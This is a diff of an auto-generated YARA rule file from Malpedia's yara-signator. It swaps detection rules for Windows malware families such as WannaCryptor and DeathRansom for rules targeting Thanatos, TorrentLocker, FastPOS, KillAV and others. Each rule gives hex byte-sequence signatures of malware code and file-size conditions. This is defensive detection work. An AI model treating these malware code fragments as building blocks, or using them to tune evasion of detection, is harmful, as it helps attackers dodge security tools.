 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "f9c620fb-a7af-59b3-88ea-9e26f2264efe"
+		id = "2b4b0c9d-f48b-554f-8a11-82dc9864cf63"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_031"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.unidentified_031_auto.yar#L1-L133"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.fast_pos"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.fast_pos_auto.yar#L1-L121"
 		license_url = "N/A"
-		logic_hash = "135d93e7e92e738a5df3c00f6ebb76c4de980af7c891f431b4f3045d05f7757e"
+		logic_hash = "cc5eee3320509f0e654a55f4440afe73bd9962689fcfc57ca050257ab2933ad2"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -152270,32 +159364,32 @@ rule MALPEDIA_Win_Unidentified_031_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 0f84a6010000 3bfd 0f849e010000 50 e8???????? 6a00 6a01 }
-		$sequence_1 = { 891f 8dbe9c000000 8b07 3bc3 7411 50 53 }
-		$sequence_2 = { ffd6 8d4dc8 ffd6 8d4db0 ffd6 8d4d9c ffd6 }
-		$sequence_3 = { c78504fdffff08800000 c7853cfeffff15000000 c78534feffff02000000 ff15???????? c785ecfcffff3c624000 c785e4fcffff08800000 c785fcfdffff18000000 }
-		$sequence_4 = { e8???????? 8945a0 8d7cbdd0 ff37 50 8bce e8???????? }
-		$sequence_5 = { 895508 0f8203ffffff 83c8ff 5f 5e 5b 5d }
-		$sequence_6 = { 51 52 e8???????? 8d9564ffffff 8d4dc8 89856cffffff }
-		$sequence_7 = { 57 50 e8???????? 3bc3 740e 895e7c 3dc3040000 }
-		$sequence_8 = { 8b3f eb03 8b7de0 c7467c01000000 8b4668 ff75e8 57 }
-		$sequence_9 = { 68???????? 85c0 0f9fc3 f7db ff15???????? 0fbfc0 8b55cc }
+		$sequence_0 = { c785e4feffff04010000 ff15???????? e8???????? 8bc8 33c0 }
+		$sequence_1 = { e8???????? 8b95e4feffff 83c408 85c0 0f9485ebfeffff 83c2f0 }
+		$sequence_2 = { 52 8d8de0feffff e8???????? 8bb5e0feffff 6a44 8d857cfeffff }
+		$sequence_3 = { 6a00 6a00 68???????? ffb5e8feffff ff15???????? 85c0 7517 }
+		$sequence_4 = { c645fc07 e8???????? 8bf0 c645fc08 ff15???????? }
+		$sequence_5 = { 68???????? 56 c785e8feffff01000000 e8???????? 83c40c 8bc6 }
+		$sequence_6 = { 68ffff1f00 ff15???????? 6a00 50 }
+		$sequence_7 = { e8???????? 6a10 68???????? 68???????? 6a00 ff15???????? 6a00 }
+		$sequence_8 = { 50 ff36 8d85e0feffff 68???????? }
+		$sequence_9 = { 5d c20400 8b01 6a01 ff76f4 ff10 8bf8 }
 
 	condition:
-		7 of them and filesize <1998848
+		7 of them and filesize <327680
 }
-rule MALPEDIA_Win_Laziok_Auto : FILE
+rule MALPEDIA_Win_Pseudo_Manuscrypt_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "1dcbce9e-9b01-55fc-82f2-025bf107fa98"
+		id = "31787da1-ee36-51da-9ab0-837844c74a17"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.laziok"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.laziok_auto.yar#L1-L101"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.pseudo_manuscrypt"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.pseudo_manuscrypt_auto.yar#L1-L134"
 		license_url = "N/A"
-		logic_hash = "8a49fb3e99a85f8254a739f5aaca9e9bb1b5be0f2dd72574e619043b4fccb1ed"
+		logic_hash = "f95219f8df4fada7a5809becd0c4a0a18721619c73177d4ad9f3ddc17aca2388"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -152309,30 +159403,32 @@ rule MALPEDIA_Win_Laziok_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 85f6 740b 837c240cff 8937 7502 }
-		$sequence_1 = { 47 68???????? 57 e8???????? 8bf0 59 }
-		$sequence_2 = { 8d85f4fdffff 50 e8???????? 33c0 668945fc }
-		$sequence_3 = { 68ffffff1f 52 e8???????? 83c410 c3 }
-		$sequence_4 = { e8???????? 83c420 5b c20400 }
-		$sequence_5 = { 56 8b7508 833e01 7513 6a00 ff7510 ff750c }
-		$sequence_6 = { 39742410 741b ff742410 ff15???????? 8bf0 }
-		$sequence_7 = { 56 57 ff74240c 33f6 ff35???????? e8???????? }
+		$sequence_0 = { 0f8473ffffff 8bd6 8bcf e8???????? 85c0 0f8f62ffffff 53 }
+		$sequence_1 = { 668906 e8???????? 8b45fc 83c404 8bfb 3b18 75bd }
+		$sequence_2 = { 33db 8d857cfdffff 53 50 53 683f010f00 53 }
+		$sequence_3 = { 6a00 6a00 6a00 6a18 ffd6 6a00 6a00 }
+		$sequence_4 = { 8bec 56 8bb17c010000 85f6 742a 8b4508 33d2 }
+		$sequence_5 = { 6a04 68ffff0000 53 ffd6 0bc7 5f 5e }
+		$sequence_6 = { 57 8945fc 8d140b 8bc8 0f44d3 52 e8???????? }
+		$sequence_7 = { 7554 5f 33c0 5e 8b4dfc 33cd e8???????? }
+		$sequence_8 = { 89442474 8d842480000000 6804010000 50 c744246c01010000 ff15???????? 68???????? }
+		$sequence_9 = { 8d85d0fdffff 50 56 ff15???????? 85c0 742c 53 }
 
 	condition:
-		7 of them and filesize <688128
+		7 of them and filesize <753664
 }
-rule MALPEDIA_Win_Squirrelwaffle_Auto : FILE
+rule MALPEDIA_Win_Screencap_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "67d18a0f-cebe-56e6-8b79-40dff03f1fb3"
+		id = "104aba67-45fe-5a81-add7-5f096073514f"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.squirrelwaffle"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.squirrelwaffle_auto.yar#L1-L114"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.screencap"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.screencap_auto.yar#L1-L125"
 		license_url = "N/A"
-		logic_hash = "2fb7fd7c7f2885b81fdacc79e3b0b0578babd5d7d5854f31f47508825bacd6eb"
+		logic_hash = "d12bc6cdd7eeaf3c014435658ac08460e21def542afb74f89d01054fc70f3f9a"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -152346,32 +159442,32 @@ rule MALPEDIA_Win_Squirrelwaffle_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { ffd6 85c0 0f85d9000000 8b458c }
-		$sequence_1 = { 0f431d???????? 8a00 85c9 7416 51 }
-		$sequence_2 = { 83c40c 8b36 ba???????? 85f6 0f853cffffff 8b7d88 }
-		$sequence_3 = { 85c0 0f8453020000 8b4a14 48 8945f0 8bc2 }
-		$sequence_4 = { 8b7310 2bc6 8975f8 57 3bc2 0f8214010000 8d0416 }
-		$sequence_5 = { b803000000 0f438d10fefeff ba???????? 83fe03 }
-		$sequence_6 = { 0f1185f8fdfeff f30f7e4710 660fd68508fefeff c7471000000000 c747140f000000 }
-		$sequence_7 = { 8db5f8fbffff 8d34c6 837e1410 8bc6 7202 }
-		$sequence_8 = { 897714 eb26 8b0d???????? 0f57c0 }
-		$sequence_9 = { c645cc00 8d4dd8 ff75cc 6a08 }
+		$sequence_0 = { 488b4c2450 488364242000 488d0591e90000 488b0cc8 4c8d4c2458 488d542460 498b0c0f }
+		$sequence_1 = { 41c1eb05 418d5f01 41c1e302 83fe08 }
+		$sequence_2 = { 4883ec20 4c8d25a09c0000 33f6 33db 498bfc 837f0801 7526 }
+		$sequence_3 = { 39842420100000 0f869f010000 6a04 687c334700 55 e8???????? }
+		$sequence_4 = { 488bce ff15???????? bf00080000 3bdf 7702 }
+		$sequence_5 = { 72ed 48833d????????00 741f 488d0d06130100 e8???????? }
+		$sequence_6 = { 8bdf e8???????? 85ff 741c 488d4c2450 0fb601 84c0 }
+		$sequence_7 = { 3bf8 0f869c000000 6a04 687c334700 55 e8???????? }
+		$sequence_8 = { 8d854c100000 50 ff15???????? 8bf0 8975e0 85f6 0f84bb030000 }
+		$sequence_9 = { 89470c 894710 894714 8d854c2c0000 50 e8???????? 6805040000 }
 
 	condition:
-		7 of them and filesize <147456
+		7 of them and filesize <1391616
 }
-rule MALPEDIA_Win_Wannacryptor_Auto : FILE
+rule MALPEDIA_Win_Thanatos_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "e56d2000-fe42-59bd-8926-478b3a54b7b3"
+		id = "3d56c6ff-7a5f-5548-8f3b-06d8d6158f7b"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.wannacryptor"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.wannacryptor_auto.yar#L1-L121"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.thanatos"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.thanatos_auto.yar#L1-L129"
 		license_url = "N/A"
-		logic_hash = "c696b2074a3cd60e9575143d9577c550babed6e9c2f46c424c5b90d1a1647723"
+		logic_hash = "2cc3d4fef37b3d57358c4e21f8e34a4b374cac5e972e715588051a429530df72"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -152385,32 +159481,32 @@ rule MALPEDIA_Win_Wannacryptor_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 56 8bf1 57 8b7c241c 8b4670 }
-		$sequence_1 = { 8854243c 8b44243c 50 51 8bce }
-		$sequence_2 = { b801000000 33ff 85c0 7e76 8bd8 8b5500 03cf }
-		$sequence_3 = { 8bce e8???????? 8a4649 84c0 7419 8b4620 }
-		$sequence_4 = { ff15???????? 50 e8???????? 85c0 742e 8b4004 8d542404 }
-		$sequence_5 = { 8b4674 c6464801 85c0 7509 6a00 }
-		$sequence_6 = { 50 ff15???????? 50 e8???????? 8b4820 6a00 6a00 }
-		$sequence_7 = { 8b4678 8d7e44 85c0 755f 8b17 }
-		$sequence_8 = { e8???????? 8d4648 8d4c2410 50 c744243000000000 }
-		$sequence_9 = { 57 8b7c241c 8b4670 85c0 7503 }
+		$sequence_0 = { 85f6 0f849b010000 ff742428 6a00 68ffff1f00 ff15???????? 8bf8 }
+		$sequence_1 = { 50 8bda 8bf1 c78560ffffff94000000 e8???????? 83c40c 8d8560ffffff }
+		$sequence_2 = { c64435bc46 8d45bc 50 46 ffd7 3bf0 7ce9 }
+		$sequence_3 = { 6a00 6a00 68000000c0 68???????? 46 ffd3 8bf8 }
+		$sequence_4 = { 83c40c 807d0800 7459 8b4c240c 897c2422 8d4306 8944241e }
+		$sequence_5 = { 807d0800 89442414 b80a000000 7524 3bdf }
+		$sequence_6 = { 84c0 75f9 2bd7 5f 7409 51 ff15???????? }
+		$sequence_7 = { 57 8bf9 8b4e28 8955fc 83f803 0f85e5020000 8b5d08 }
+		$sequence_8 = { 893d???????? c705????????ecb40110 f30f7e05???????? 660fd64008 }
+		$sequence_9 = { 50 6a02 ff15???????? 8b7514 c705????????c0b30110 85f6 0f8486010000 }
 
 	condition:
-		7 of them and filesize <540672
+		7 of them and filesize <1810432
 }
-rule MALPEDIA_Win_Farseer_Auto : FILE
+rule MALPEDIA_Win_Whiteblackcrypt_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "bdb1b674-d96e-50d4-8dbe-83cb253d9330"
+		id = "6157b109-2151-5074-8840-c27487c07a25"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.farseer"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.farseer_auto.yar#L1-L129"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.whiteblackcrypt"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.whiteblackcrypt_auto.yar#L1-L123"
 		license_url = "N/A"
-		logic_hash = "17f8792326231b41b2e91221ee87a535fdccf3e2e964ba78d0722fea338c91a0"
+		logic_hash = "f60c96c165ea27ee68f018ece2d6f92a309aa90e387cd2c1a16407c43ba45f47"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -152424,32 +159520,32 @@ rule MALPEDIA_Win_Farseer_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 8d4c2434 e8???????? eb10 6a06 68???????? 8d4c2438 }
-		$sequence_1 = { 50 8d4c2440 51 8d542478 }
-		$sequence_2 = { e8???????? 8d742414 e8???????? 53 50 83c8ff 8d742438 }
-		$sequence_3 = { 8d442434 50 e8???????? c68424c402000002 8b8424cc000000 bb10000000 399c24e0000000 }
-		$sequence_4 = { 0f8c6cffffff 33ed 8d9424ac010000 68???????? 52 e8???????? 83c408 }
-		$sequence_5 = { 33db 6aff 899c2498000000 53 8d8424a4000000 be0f000000 50 }
-		$sequence_6 = { 7510 8bc1 eb0c 0fb6c9 0fbe8940454200 03c1 40 }
-		$sequence_7 = { 83c404 83bc24e402000010 7210 8b9424d0020000 52 e8???????? 83c404 }
-		$sequence_8 = { 85410c 7405 e8???????? 8d742440 e8???????? 85c0 }
-		$sequence_9 = { e9???????? 8bc3 c1f805 8d048520634200 83e31f 8985e4efffff 8b00 }
+		$sequence_0 = { 790d b910270000 ff15???????? ebea e8???????? b805000030 31c9 }
+		$sequence_1 = { 75ed 0f118fb0000000 4883c310 ebc4 4883c420 5b 5e }
+		$sequence_2 = { 4883ec38 83fa02 744c 7707 83fa01 745a eb4d }
+		$sequence_3 = { 75a2 5b 5e c3 4c8d4a10 48c1e104 }
+		$sequence_4 = { 488d0d583d0000 c705????????01000000 e8???????? 4885c0 7414 b801000000 }
+		$sequence_5 = { 4889c6 4889c7 4489f0 f3aa 4889f1 e8???????? }
+		$sequence_6 = { 4881ecb0030000 4c8d0504420000 31c0 41b9ffff0000 }
+		$sequence_7 = { 8801 48ffc1 ebe8 c3 55 }
+		$sequence_8 = { 7412 8d509f 80fa19 7703 }
+		$sequence_9 = { f20f2ad2 48895c2420 dd442420 f20f11542428 dd442428 d9c9 d9fd }
 
 	condition:
-		7 of them and filesize <347328
+		7 of them and filesize <99328
 }
-rule MALPEDIA_Win_Deathransom_Auto : FILE
+rule MALPEDIA_Win_Torrentlocker_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "4e39de37-0fee-5b21-a4db-fc348269215e"
+		id = "56bf47db-a6d1-5792-b5b6-3656138ac949"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.deathransom"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.deathransom_auto.yar#L1-L128"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.torrentlocker"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.torrentlocker_auto.yar#L1-L170"
 		license_url = "N/A"
-		logic_hash = "8362ae87c1f20555b6e75c6240bf76604d10b1d1a7af4c90e341b81be4a45543"
+		logic_hash = "9124185b3dba8eb6288bd309dcd17a816c52adb0e1e08ff17bcd23b3d53099e4"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -152463,32 +159559,38 @@ rule MALPEDIA_Win_Deathransom_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 8b55d8 33c3 03c1 81c216c1a419 03d0 8bcf 0155ec }
-		$sequence_1 = { 03d1 c1c007 0355a8 8bcf c1c90b 33c8 8955d8 }
-		$sequence_2 = { 742d 8b45f8 ba20000000 2bd6 8bca d3e8 8bce }
-		$sequence_3 = { 0f8278010000 8b5df4 8d4dd8 56 8bd3 837b0400 }
-		$sequence_4 = { c3 83f802 7546 6820020000 6a08 c745fc20020000 ff15???????? }
-		$sequence_5 = { 8d8d90fdffff e8???????? 8d8d90fdffff e8???????? 8d8d90fdffff e8???????? 6a50 }
-		$sequence_6 = { 0b7de4 237ddc 8b55f4 0bf8 897de0 8bc6 014de0 }
-		$sequence_7 = { 8b45dc 8bc8 0155e8 c1c00a }
-		$sequence_8 = { 85c9 0f95c0 2bc8 33c0 c1e905 }
-		$sequence_9 = { c1e810 884311 8bc1 c1e808 884312 884b13 8b4f1c }
+		$sequence_0 = { c3 83f801 7405 83f802 }
+		$sequence_1 = { 8b0d???????? 5f c7000c000000 894804 }
+		$sequence_2 = { 85c0 7514 e8???????? 3d00000600 }
+		$sequence_3 = { 50 56 6a00 6a01 6a02 ff15???????? }
+		$sequence_4 = { 8b0d???????? 890e e8???????? 8bd8 e8???????? 6a00 6a01 }
+		$sequence_5 = { 83ec24 6a00 6a01 68???????? ff15???????? 85c0 7551 }
+		$sequence_6 = { 56 ff15???????? 83f802 740f 83f803 740a }
+		$sequence_7 = { e8???????? 3d00000600 1bc0 40 a3???????? eb05 }
+		$sequence_8 = { 83c002 6685c9 75f5 2bc2 d1f8 8d440014 }
+		$sequence_9 = { 52 50 ff15???????? 85c0 7519 8b0d???????? 51 }
+		$sequence_10 = { 51 6a01 6a00 0d00800000 50 6a00 }
+		$sequence_11 = { 8b0d???????? 5f 894e0c 5e }
+		$sequence_12 = { 8b0d???????? 6a00 6a00 57 }
+		$sequence_13 = { 48 85c0 7ff4 5f 33c0 5e c3 }
+		$sequence_14 = { 8b0d???????? 57 6a00 51 ff15???????? 8bc6 }
+		$sequence_15 = { c705????????00000000 e8???????? 8bf0 e8???????? }
 
 	condition:
-		7 of them and filesize <133120
+		7 of them and filesize <933888
 }
-rule MALPEDIA_Win_Gearshift_Auto : FILE
+rule MALPEDIA_Win_Flashflood_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "02540c00-8de2-5ac5-936a-14a6336e7666"
+		id = "2b564813-7b00-54ab-b562-7a8de5369185"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.gearshift"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.gearshift_auto.yar#L1-L126"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.flashflood"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.flashflood_auto.yar#L1-L124"
 		license_url = "N/A"
-		logic_hash = "1c8a80ba14390df1b7bcd5e4b955652a287b76aebf22d78fc43b89631a984860"
+		logic_hash = "3006626d1ecba778668c15e0aafe5a9ff5cdfe4debbbd864318346fc290d9ab7"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -152502,32 +159604,32 @@ rule MALPEDIA_Win_Gearshift_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 4881c4c0000000 5f c3 85c0 0f85a9000000 }
-		$sequence_1 = { 4d8bde 4d2b5d30 0f84a1000000 488b4500 488b5d08 }
-		$sequence_2 = { 4883ec28 48833d????????00 740a b801000000 4883c428 c3 488d0dc9a80000 }
-		$sequence_3 = { 4823f1 66413b7806 0f83ce000000 48895c2448 4c89642450 4c8d25566a0300 4a8d5c003c }
-		$sequence_4 = { 83c8ff e9???????? 4c8bfb 4c8be3 488d05363c0300 49c1fc05 }
-		$sequence_5 = { 4885c0 0f8418010000 4c8d442470 41b910010000 488bd0 488bcb 48897c2420 }
-		$sequence_6 = { 488bd8 ff9688000000 4c8bc3 33d2 488bc8 8947f8 ff96a8000000 }
-		$sequence_7 = { 7522 48ffc1 498d0408 493bc3 7cec 4963c2 4803c6 }
-		$sequence_8 = { 4533c0 33d2 498bcc 44896c2428 48897c2420 ff15???????? ba01000000 }
-		$sequence_9 = { 0fb7d1 eb09 488b4508 488d540102 }
+		$sequence_0 = { ff15???????? 8145f800809b07 8d45f8 50 }
+		$sequence_1 = { 56 e8???????? 40 8945f8 0fbe06 50 }
+		$sequence_2 = { c3 b8???????? c3 55 8bec 81ec88020000 }
+		$sequence_3 = { 8bec 81ec10060000 56 6a5c ff750c ff15???????? 8bf0 }
+		$sequence_4 = { 6bc90c 8b91f0914000 8955f4 8b450c 6bc00c }
+		$sequence_5 = { ff5164 85c0 0f85c5010000 8d55f4 8b45ec 52 }
+		$sequence_6 = { 33c0 eb0a 57 ff15???????? 6a01 58 5f }
+		$sequence_7 = { 85f6 59 0f842b020000 ff7508 8d85f0fbffff 50 e8???????? }
+		$sequence_8 = { 50 e8???????? 8d85c0fdffff 50 8d85c0fbffff ff7508 }
+		$sequence_9 = { 83c62c 6a2e 56 ff15???????? 8b3d???????? 59 }
 
 	condition:
-		7 of them and filesize <540672
+		7 of them and filesize <114688
 }
-rule MALPEDIA_Win_Seasalt_Auto : FILE
+rule MALPEDIA_Win_Radrat_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "e41fdf89-eed2-569c-87d1-66ae3f31eb44"
+		id = "f52e2c5a-eef0-5772-ac88-55315ac8b12c"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.seasalt"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.seasalt_auto.yar#L1-L117"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.radrat"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.radrat_auto.yar#L1-L134"
 		license_url = "N/A"
-		logic_hash = "c4e00a9b356da4bb38f74ae93a3974f0cb2a6403defdfa59feac8c8b4bbe886d"
+		logic_hash = "a27dfe470245e6a0fc8e1e694300b8057fe423adc6b34415045732f4d66a4882"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -152541,32 +159643,32 @@ rule MALPEDIA_Win_Seasalt_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 888800d90010 eb1f 83f861 7213 }
-		$sequence_1 = { a3???????? 3bc6 7513 68e0930400 ff15???????? 8975fc }
-		$sequence_2 = { 83d8ff 3bc3 758c b901040000 33c0 }
-		$sequence_3 = { f2ae a1???????? 68???????? f7d1 }
-		$sequence_4 = { 8b8c2454010000 6a00 8d442428 6800010000 50 }
-		$sequence_5 = { 6aff 50 ff15???????? 85c0 6a00 }
-		$sequence_6 = { 8bf7 c1e902 8bfa 8d942488010000 f3a5 }
-		$sequence_7 = { 7ced 55 8bac2418020000 6a00 8d442414 6804020000 50 }
-		$sequence_8 = { 8dbc2419020000 c684241802000000 f3ab 66ab 6a00 }
-		$sequence_9 = { c1e902 83e203 83f908 7229 f3a5 ff2495c8350010 8bc7 }
+		$sequence_0 = { 8d8d1cffffff e8???????? c685f0feffff00 c645fc00 8d4dcc e8???????? c745fcffffffff }
+		$sequence_1 = { c6855497ffff01 c645fc01 8d8d58ffffff e8???????? c745fcffffffff 8d4d80 e8???????? }
+		$sequence_2 = { 8d8d74ffffff e8???????? 68a0000000 8d8d74ffffff e8???????? 6a30 8d8d74ffffff }
+		$sequence_3 = { ff15???????? 8b4df4 894168 8b45f4 837868ff 750d ff15???????? }
+		$sequence_4 = { 8d8dd8feffff e8???????? 8d8d0cffffff 51 8d55c4 52 8b45ec }
+		$sequence_5 = { e8???????? 8a854c98ffff e9???????? 8b8d24d6ffff 83c15c 51 8b9524d6ffff }
+		$sequence_6 = { 8d8d50ffffff 51 e8???????? 83c408 8b9548ffffff 83c258 52 }
+		$sequence_7 = { e9???????? 8d4d9c e8???????? c645fc01 8d8d38ffffff 51 8d4d9c }
+		$sequence_8 = { 8b4dd8 8b9130010000 52 ff15???????? 8b45d8 c7803001000000000000 8b4dd8 }
+		$sequence_9 = { 8d8560fbffff 50 8d8da8fdffff e8???????? 89854cf8ffff 8b8d4cf8ffff 898d48f8ffff }
 
 	condition:
-		7 of them and filesize <139264
+		7 of them and filesize <2080768
 }
-rule MALPEDIA_Win_Hawkball_Auto : FILE
+rule MALPEDIA_Win_Unidentified_105_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "e8db5e2d-29c9-5590-a712-0f60cd9571dc"
+		id = "80a8f5ec-0d23-5074-b907-8dcd99006ffb"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.hawkball"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.hawkball_auto.yar#L1-L118"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_105"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.unidentified_105_auto.yar#L1-L114"
 		license_url = "N/A"
-		logic_hash = "781a6bce01e178f537c586fc2b1e607c4503cf63fe51435a8db976da2766e5fa"
+		logic_hash = "03b63f792ccab1aa0e70284622fef7dcf74ab6cde5a0b9206fdbab8d689a2bd1"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -152580,32 +159682,32 @@ rule MALPEDIA_Win_Hawkball_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 83780c00 7506 33c0 8be5 }
-		$sequence_1 = { 53 e8???????? 037dfc 83c40c 81ffffff0300 }
-		$sequence_2 = { 0f84c6000000 6a04 8d442418 c744241860ea0000 50 6a06 57 }
-		$sequence_3 = { 53 ff15???????? ff742414 8b35???????? ffd6 53 }
-		$sequence_4 = { 85c9 746d 837dfc28 7d13 6b55fc05 69c2e8030000 }
-		$sequence_5 = { 50 ff15???????? 897001 c600ff c7400500000000 }
-		$sequence_6 = { b9???????? e8???????? a3???????? 833d????????00 740b 8b0d???????? }
-		$sequence_7 = { 837dfc28 7d13 6b55fc05 69c2e8030000 50 }
-		$sequence_8 = { 7405 8d4a10 eb47 b911000000 }
-		$sequence_9 = { 8be5 5d c3 6a59 ff15???????? 85c0 }
+		$sequence_0 = { 85c0 0f95c0 84c0 742c }
+		$sequence_1 = { 8bf8 8d4f02 b856555555 f7e9 8bc2 c1e81f 03c2 }
+		$sequence_2 = { 6a00 8d8dd0feffff 51 8d95fcfeffff }
+		$sequence_3 = { 8d8d94feffff 51 6800000010 50 52 ff15???????? 85c0 }
+		$sequence_4 = { e8???????? 83c404 50 e8???????? a1???????? 6800020000 }
+		$sequence_5 = { 83f8ff 7459 8d9424a0010000 52 }
+		$sequence_6 = { 68???????? 56 e8???????? 8bc6 83c454 }
+		$sequence_7 = { 8bf8 8d4f02 b856555555 f7e9 8bc2 }
+		$sequence_8 = { 8b3d???????? 8d45e4 50 33f6 }
+		$sequence_9 = { 6800100000 8d85f8efffff 50 51 }
 
 	condition:
-		7 of them and filesize <229376
+		7 of them and filesize <253952
 }
-rule MALPEDIA_Win_Rarstar_Auto : FILE
+rule MALPEDIA_Win_Killav_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "1b0cea37-0a1d-5e66-91fc-944e4e50541c"
+		id = "1d5124ec-5245-51ca-8b54-4fbeb7c8a843"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.rarstar"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.rarstar_auto.yar#L1-L123"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.killav"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.killav_auto.yar#L1-L114"
 		license_url = "N/A"
-		logic_hash = "2e522865d24e8dea587d8aa292c78791c9371361cc03d604920c80f6d8c9bb83"
+		logic_hash = "6bdcae63c9d790007a185fb309199c790674ed97c7a86b96314a377ad757753a"
 		score = 75
 		quality = 75
 		tags = "FILE"
